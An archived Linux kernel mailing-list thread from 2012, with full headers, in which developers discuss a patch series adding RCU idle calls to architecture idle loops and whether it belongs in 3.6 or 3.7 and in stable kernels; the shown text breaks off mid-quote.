>   #include <asm/asm-offsets.h>
> @@ -69,8 +70,10 @@ void cpu_idle(void)
>   
>   	/* endless idle loop with no priority at all */
>   	while (1) {
> +		rcu_idle_enter();
>   		while (!need_resched())
>   			barrier();
> +		rcu_idle_exit();
>   		schedule_preempt_disabled();
>   		check_pgt_cache();
>   	}

Builds and boots fine on parisc.
Acked-by: John David Anglin<dave.anglin@bell.net>

Dave

-- 
John David Anglin    dave.anglin@bell.net


From - Thu Nov 08 21:08:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc,gmane.linux.ports.alpha
Subject: Re: [PATCH 00/11] rcu: Add missing RCU idle APIs on idle loop v2
Date: Fri, 24 Aug 2012 14:26:47 -0700
Lines: 60
Approved: news@gmane.org
Message-ID: <20120824212647.GU2472@linux.vnet.ibm.com>
References: <1345733915-20040-1-git-send-email-fweisbec@gmail.com>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1345843641 22999 80.91.229.3 (24 Aug 2012 21:27:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Aug 2012 21:27:21 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"3.2.x.." <stable@vger.kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-alpha@vger.kernel.org>,
	Michael Cree <mcree@orcon.net.nz>
To: Frederic Weisbecker <fweisbec@gmail.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Aug 24 23:27:17 2012
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1T51PN-0007MJ-Nm
	for glpm-linux-m68k@plane.gmane.org; Fri, 24 Aug 2012 23:27:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760184Ab2HXV1L (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Fri, 24 Aug 2012 17:27:11 -0400
Original-Received: from e36.co.us.ibm.com ([32.97.110.154]:46614 "EHLO
	e36.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757099Ab2HXV1J (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Fri, 24 Aug 2012 17:27:09 -0400
Original-Received: from /spool/local
	by e36.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-m68k@lists.linux-m68k.org> from <paulmck@linux.vnet.ibm.com>;
	Fri, 24 Aug 2012 15:27:09 -0600
Original-Received: from d03dlp03.boulder.ibm.com (9.17.202.179)
	by e36.co.us.ibm.com (192.168.1.136) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Fri, 24 Aug 2012 15:27:06 -0600
Original-Received: from d03relay05.boulder.ibm.com (d03relay05.boulder.ibm.com [9.17.195.107])
	by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id 5533E19D8046
	for <linux-m68k@lists.linux-m68k.org>; Fri, 24 Aug 2012 15:27:05 -0600 (MDT)
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d03relay05.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q7OLQpXm043718
	for <linux-m68k@lists.linux-m68k.org>; Fri, 24 Aug 2012 15:26:55 -0600
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q7OLQnH1027040
	for <linux-m68k@lists.linux-m68k.org>; Fri, 24 Aug 2012 15:26:51 -0600
Original-Received: from paulmck-ThinkPad-W500 ([9.47.24.210])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q7OLQmFn026998;
	Fri, 24 Aug 2012 15:26:48 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 0F3C3E4DB3; Fri, 24 Aug 2012 14:26:48 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1345733915-20040-1-git-send-email-fweisbec@gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 12082421-7606-0000-0000-000003120E36
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:4215 gmane.linux.kernel:1349356 gmane.linux.kernel.stable:30355 gmane.linux.ports.parisc:4550 gmane.linux.ports.alpha:1877
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/4215>

On Thu, Aug 23, 2012 at 04:58:24PM +0200, Frederic Weisbecker wrote:
> Hi,
> 
> Changes since v1:
> 
> - Fixed preempt handling in alpha idle loop
> - added ack from Geert
> - fixed stable email address, sorry :-/
> 
> This time I built tested everywhere but: h8300 (compiler internal error),
> and mn10300, parisc, score (cross compilers not available in
> ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.6.3/)
> 
> For testing, you can pull from:
> 
> git://github.com/fweisbec/linux-dynticks.git
> 	rcu/idle-fix-v2 
> 
> Thanks.

I have queued these on -rcu branch rcu/idle:

	git://git.kernel.org/pub/scm/linux/kernel/git/paulmck/linux-rcu.git

This problem has been in place since 3.3, so it is hard to argue that
it is a regression for this merge window.  I have therefore queued it
for 3.7.

								Thanx, Paul

> Frederic Weisbecker (11):
>   alpha: Fix preemption handling in idle loop
>   alpha: Add missing RCU idle APIs on idle loop
>   cris: Add missing RCU idle APIs on idle loop
>   frv: Add missing RCU idle APIs on idle loop
>   h8300: Add missing RCU idle APIs on idle loop
>   m32r: Add missing RCU idle APIs on idle loop
>   m68k: Add missing RCU idle APIs on idle loop
>   mn10300: Add missing RCU idle APIs on idle loop
>   parisc: Add missing RCU idle APIs on idle loop
>   score: Add missing RCU idle APIs on idle loop
>   xtensa: Add missing RCU idle APIs on idle loop
> 
>  arch/alpha/kernel/process.c   |    6 +++++-
>  arch/alpha/kernel/smp.c       |    1 +
>  arch/cris/kernel/process.c    |    3 +++
>  arch/frv/kernel/process.c     |    3 +++
>  arch/h8300/kernel/process.c   |    3 +++
>  arch/m32r/kernel/process.c    |    3 +++
>  arch/m68k/kernel/process.c    |    3 +++
>  arch/mn10300/kernel/process.c |    3 +++
>  arch/parisc/kernel/process.c  |    3 +++
>  arch/score/kernel/process.c   |    4 +++-
>  arch/xtensa/kernel/process.c  |    3 +++
>  11 files changed, 33 insertions(+), 2 deletions(-)
> 
> -- 
> 1.7.5.4
> 


From - Thu Nov 08 21:08:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Hutchings <ben@decadent.org.uk>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc
Subject: Re: [PATCH 00/11] rcu: Add missing RCU idle APIs on idle loop v2
Date: Sat, 25 Aug 2012 02:19:14 +0100
Lines: 85
Approved: news@gmane.org
Message-ID: <1345857554.4840.43.camel@deadeye.wl.decadent.org.uk>
References: <1345733915-20040-1-git-send-email-fweisbec@gmail.com>
	 <20120824212647.GU2472@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg="pgp-sha512";
	protocol="application/pgp-signature"; boundary="=-5MPYMRsub3HMuVkiL842"
X-Trace: ger.gmane.org 1345857622 21071 80.91.229.3 (25 Aug 2012 01:20:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Aug 2012 01:20:22 +0000 (UTC)
Cc: Frederic Weisbecker <fweisbec@gmail.com>,
	LKML <linux-kernel@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"3.2.x.." <stable@vger.kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-alpha@vger.kernel.org>,
	Michael Cree <m
To: paulmck@linux.vnet.ibm.com
Original-X-From: linux-alpha-owner@vger.kernel.org Sat Aug 25 03:20:18 2012
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1T552q-0000TD-3y
	for lnx-linux-alpha@plane.gmane.org; Sat, 25 Aug 2012 03:20:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755775Ab2HYBUJ (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Fri, 24 Aug 2012 21:20:09 -0400
Original-Received: from shadbolt.e.decadent.org.uk ([88.96.1.126]:40221 "EHLO
	shadbolt.e.decadent.org.uk" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754629Ab2HYBUG (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Fri, 24 Aug 2012 21:20:06 -0400
Original-Received: from [2001:470:1f08:1539:21c:bfff:fe03:f805] (helo=deadeye.wl.decadent.org.uk)
	by shadbolt.decadent.org.uk with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.72)
	(envelope-from <ben@decadent.org.uk>)
	id 1T5521-0004yI-IZ; Sat, 25 Aug 2012 02:19:21 +0100
Original-Received: from ben by deadeye.wl.decadent.org.uk with local (Exim 4.80)
	(envelope-from <ben@decadent.org.uk>)
	id 1T551z-0002QH-R9; Sat, 25 Aug 2012 02:19:19 +0100
In-Reply-To: <20120824212647.GU2472@linux.vnet.ibm.com>
X-Mailer: Evolution 3.4.3-1 
X-SA-Exim-Connect-IP: 2001:470:1f08:1539:21c:bfff:fe03:f805
X-SA-Exim-Mail-From: ben@decadent.org.uk
X-SA-Exim-Scanned: No (on shadbolt.decadent.org.uk); SAEximRunCond expanded to false
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1878 gmane.linux.kernel:1349409 gmane.linux.kernel.stable:30359 gmane.linux.ports.parisc:4551
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1878>


--=-5MPYMRsub3HMuVkiL842
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Fri, 2012-08-24 at 14:26 -0700, Paul E. McKenney wrote:
> On Thu, Aug 23, 2012 at 04:58:24PM +0200, Frederic Weisbecker wrote:
> > Hi,
> >=20
> > Changes since v1:
> >=20
> > - Fixed preempt handling in alpha idle loop
> > - added ack from Geert
> > - fixed stable email address, sorry :-/
> >=20
> > This time I built tested everywhere but: h8300 (compiler internal error=
),
> > and mn10300, parisc, score (cross compilers not available in
> > ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.6.3/)
> >=20
> > For testing, you can pull from:
> >=20
> > git://github.com/fweisbec/linux-dynticks.git
> > 	rcu/idle-fix-v2=20
> >=20
> > Thanks.
>=20
> I have queued these on -rcu branch rcu/idle:
>=20
> 	git://git.kernel.org/pub/scm/linux/kernel/git/paulmck/linux-rcu.git
>=20
> This problem has been in place since 3.3, so it is hard to argue that
> it is a regression for this merge window.  I have therefore queued it
> for 3.7.

I don't follow that; I would expect any serious bug fix (serious enough
for a stable update) to be acceptable for 3.6 at this point.

If the regression occurred in 3.3, then the cc lines should be something
like:

    Cc: <stable@vger.kernel.org> # 3.3+

and not the current:

    Cc: 3.2.x.. <stable@vger.kernel.org>

(Note, version annotations should be on the right of the address, not in
the 'real name' position on the left.)

Ben.

--=20
Ben Hutchings
Experience is what causes a person to make new mistakes instead of old ones=
.

--=-5MPYMRsub3HMuVkiL842
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iQIVAwUAUDgoEue/yOyVhhEJAQof1w//WDePj4uPLfrD988WfwP4LVTVb2q8sVJV
jDuR71fBG3TJab9OoWW0ltebxCuVPu+662PJoqq/yxyszzpVBOvn9QTSgxjAW77G
hH3mM+uppxmuXk8TOGYhJ+Xxr9QVZ6A6wEP+t7ksBDoLnXhzerKRRy6/2QCn2s3A
YdZb9xQE4uMIXyjOFdNV23BSvhqSCn5jf60RUonUKpjMz41HURfSagbNm49+7vqk
fLMOyAD3gPtM1M17mVoBK7THEYPIRTZ3+zM4T1NzI7+aU6wWtxXkh+m1LFg6jzIn
Qw11M7h0nfErVotHbrX7lgvyScC0xBOHAjpxeN3uuuXLAKcaRep84l1CFQ6J2nc7
LNyKSf8TRugzXu/UamcrsHG7bbr8FR5bzc2+COmIJyhzr2qN2vwCidw2NQG9STOh
6LLvUqu/ICVZAVl1sK6ueI7mgJYpu5G7UBuuiV0eDZVlVAh9ik9crNg/HHJWYYWZ
/1/WfgCOBDczRSTmKK2TNR+iD+c8domANqxXDvEndB6/1GL0tAGYsQNSnB16lPZW
mLMMA+tErYh92ZMnBiVtmCqlfSE5kup/fhB+5snEGgj5zvWpk1z/z+aSudvKlT2j
fFJ67EK3np0y0MCOMaqAzsgDtZz/9LzwAa9MgcxMsInhiSzql25rdcM0yg7AWvCJ
N6wo1sqtKUE=
=CPsq
-----END PGP SIGNATURE-----

--=-5MPYMRsub3HMuVkiL842--
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Cree <mcree@orcon.net.nz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.alpha
Subject: Re: [PATCH 00/11] rcu: Add missing RCU idle APIs on idle loop v2
Date: Sat, 25 Aug 2012 14:10:17 +1200
Lines: 56
Approved: news@gmane.org
Message-ID: <50383409.7090207@orcon.net.nz>
References: <1345733915-20040-1-git-send-email-fweisbec@gmail.com>	 <20120824212647.GU2472@linux.vnet.ibm.com> <1345857554.4840.43.camel@deadeye.wl.decadent.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1345860631 6066 80.91.229.3 (25 Aug 2012 02:10:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Aug 2012 02:10:31 +0000 (UTC)
Cc: paulmck@linux.vnet.ibm.com,
	Frederic Weisbecker <fweisbec@gmail.com>,
	LKML <linux-kernel@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"3.2.x.." <stable@vger.kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-alpha@vger.
To: Ben Hutchings <ben@decadent.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 25 04:10:27 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1T55pS-0005it-AC
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 Aug 2012 04:10:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752839Ab2HYCKY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 24 Aug 2012 22:10:24 -0400
Original-Received: from nctlincom02.orcon.net.nz ([60.234.4.75]:57136 "EHLO
	nctlincom02.orcon.net.nz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752142Ab2HYCKV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 24 Aug 2012 22:10:21 -0400
Original-Received: from mx3.orcon.net.nz (mx3.orcon.net.nz [219.88.242.53])
	by nctlincom02.orcon.net.nz (8.14.3/8.14.3/Debian-9.4) with ESMTP id q7P2KZ8e009450
	for <linux-parisc@vger.kernel.org>; Sat, 25 Aug 2012 14:20:35 +1200
Original-Received: from Debian-exim by mx3.orcon.net.nz with local (Exim 4.69)
	(envelope-from <mcree@orcon.net.nz>)
	id 1T55pL-0006UQ-9H
	for linux-parisc@vger.kernel.org; Sat, 25 Aug 2012 14:10:19 +1200
Original-Received: from 60-234-221-162.bitstream.orcon.net.nz ([60.234.221.162] helo=[192.168.1.5])
	by mx3.orcon.net.nz with esmtpsa (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <mcree@orcon.net.nz>)
	id 1T55pK-0006T0-BZ; Sat, 25 Aug 2012 14:10:18 +1200
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20120724 Icedove/3.0.11
In-Reply-To: <1345857554.4840.43.camel@deadeye.wl.decadent.org.uk>
X-Enigmail-Version: 1.0.1
X-DSPAM-Check: by mx3.orcon.net.nz on Sat, 25 Aug 2012 14:10:18 +1200
X-DSPAM-Result: Innocent
X-DSPAM-Processed: Sat Aug 25 14:10:19 2012
X-DSPAM-Confidence: 0.7007
X-DSPAM-Probability: 0.0000
X-Bayes-Prob: 0.0001 (Score 0, tokens from: @@RPTN, default)
X-Spam-Score: 0.00 () [Hold at 5.50] 
X-CanIt-Geo: ip=60.234.221.162; country=NZ; region=G2; city=Porirua; latitude=-41.1333; longitude=174.8500; http://maps.google.com/maps?q=-41.1333,174.8500&z=6
X-CanItPRO-Stream: base:default
X-Canit-Stats-ID: 05HOOkzfp - fd20f9503669 - 20120825
X-Scanned-By: CanIt (www . roaringpenguin . com) on 172.16.100.175
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4552 gmane.linux.kernel:1349415 gmane.linux.kernel.stable:30360 gmane.linux.ports.alpha:1879
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4552>

On 25/08/12 13:19, Ben Hutchings wrote:
> On Fri, 2012-08-24 at 14:26 -0700, Paul E. McKenney wrote:
>> On Thu, Aug 23, 2012 at 04:58:24PM +0200, Frederic Weisbecker wrote:
>>> Hi,
>>>
>>> Changes since v1:
>>>
>>> - Fixed preempt handling in alpha idle loop
>>> - added ack from Geert
>>> - fixed stable email address, sorry :-/
>>>
>>> This time I built tested everywhere but: h8300 (compiler internal error),
>>> and mn10300, parisc, score (cross compilers not available in
>>> ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.6.3/)
>>>
>>> For testing, you can pull from:
>>>
>>> git://github.com/fweisbec/linux-dynticks.git
>>> 	rcu/idle-fix-v2 
>>>
>>> Thanks.
>>
>> I have queued these on -rcu branch rcu/idle:
>>
>> 	git://git.kernel.org/pub/scm/linux/kernel/git/paulmck/linux-rcu.git
>>
>> This problem has been in place since 3.3, so it is hard to argue that
>> it is a regression for this merge window.  I have therefore queued it
>> for 3.7.
> 
> I don't follow that; I would expect any serious bug fix (serious enough
> for a stable update) to be acceptable for 3.6 at this point.
> 
> If the regression occurred in 3.3, then the cc lines should be something
> like:
> 
>     Cc: <stable@vger.kernel.org> # 3.3+
> 
> and not the current:
> 
>     Cc: 3.2.x.. <stable@vger.kernel.org>

The Alpha patches fix an even earlier regression resulting in RCU CPU
stalls on an SMP kernel built for generic Alpha (which includes the
current Debian 3.2-alpha-smp kernel) and renders the kernel pretty much
unuseable.  I've only tested the two alpha patches together but maybe
just the first patch (1/11 alpha: Fix preemption handling in idle loop)
might be needed to fix the problem in 3.2.   I'll test and let you know.

Cheers
Michael.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc,gmane.linux.ports.alpha
Subject: Re: [PATCH 00/11] rcu: Add missing RCU idle APIs on idle loop v2
Date: Fri, 24 Aug 2012 20:50:47 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <20120825035047.GB3436@linux.vnet.ibm.com>
References: <1345733915-20040-1-git-send-email-fweisbec@gmail.com>
 <20120824212647.GU2472@linux.vnet.ibm.com>
 <1345857554.4840.43.camel@deadeye.wl.decadent.org.uk>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1345866718 9098 80.91.229.3 (25 Aug 2012 03:51:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Aug 2012 03:51:58 +0000 (UTC)
Cc: Frederic Weisbecker <fweisbec@gmail.com>,
	LKML <linux-kernel@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"3.2.x.." <stable@vger.kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-alpha@vger.kernel.org>,
	Michael Cree <m
To: Ben Hutchings <ben@decadent.org.uk>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 25 05:51:54 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1T57Pb-0004yD-Gf
	for glk-linux-kernel-3@plane.gmane.org; Sat, 25 Aug 2012 05:51:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759569Ab2HYDvb (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 24 Aug 2012 23:51:31 -0400
Original-Received: from e35.co.us.ibm.com ([32.97.110.153]:33845 "EHLO
	e35.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758857Ab2HYDu4 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 24 Aug 2012 23:50:56 -0400
Original-Received: from /spool/local
	by e35.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-kernel@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Fri, 24 Aug 2012 21:50:55 -0600
Original-Received: from d03dlp03.boulder.ibm.com (9.17.202.179)
	by e35.co.us.ibm.com (192.168.1.135) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Fri, 24 Aug 2012 21:50:53 -0600
Original-Received: from d03relay02.boulder.ibm.com (d03relay02.boulder.ibm.com [9.17.195.227])
	by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id C69FD19D8039;
	Fri, 24 Aug 2012 21:50:52 -0600 (MDT)
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d03relay02.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q7P3oqiC199704;
	Fri, 24 Aug 2012 21:50:52 -0600
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q7P3onDb009682;
	Fri, 24 Aug 2012 21:50:52 -0600
Original-Received: from paulmck-ThinkPad-W500 (sig-9-76-46-34.mts.ibm.com [9.76.46.34])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q7P3omJa009654;
	Fri, 24 Aug 2012 21:50:49 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 022C3E4D7F; Fri, 24 Aug 2012 20:50:47 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1345857554.4840.43.camel@deadeye.wl.decadent.org.uk>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 12082503-6148-0000-0000-000008EF9629
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1349436 gmane.linux.kernel.stable:30361 gmane.linux.ports.parisc:4553 gmane.linux.ports.alpha:1880
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1349436>

On Sat, Aug 25, 2012 at 02:19:14AM +0100, Ben Hutchings wrote:
> On Fri, 2012-08-24 at 14:26 -0700, Paul E. McKenney wrote:
> > On Thu, Aug 23, 2012 at 04:58:24PM +0200, Frederic Weisbecker wrote:
> > > Hi,
> > > 
> > > Changes since v1:
> > > 
> > > - Fixed preempt handling in alpha idle loop
> > > - added ack from Geert
> > > - fixed stable email address, sorry :-/
> > > 
> > > This time I built tested everywhere but: h8300 (compiler internal error),
> > > and mn10300, parisc, score (cross compilers not available in
> > > ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.6.3/)
> > > 
> > > For testing, you can pull from:
> > > 
> > > git://github.com/fweisbec/linux-dynticks.git
> > > 	rcu/idle-fix-v2 
> > > 
> > > Thanks.
> > 
> > I have queued these on -rcu branch rcu/idle:
> > 
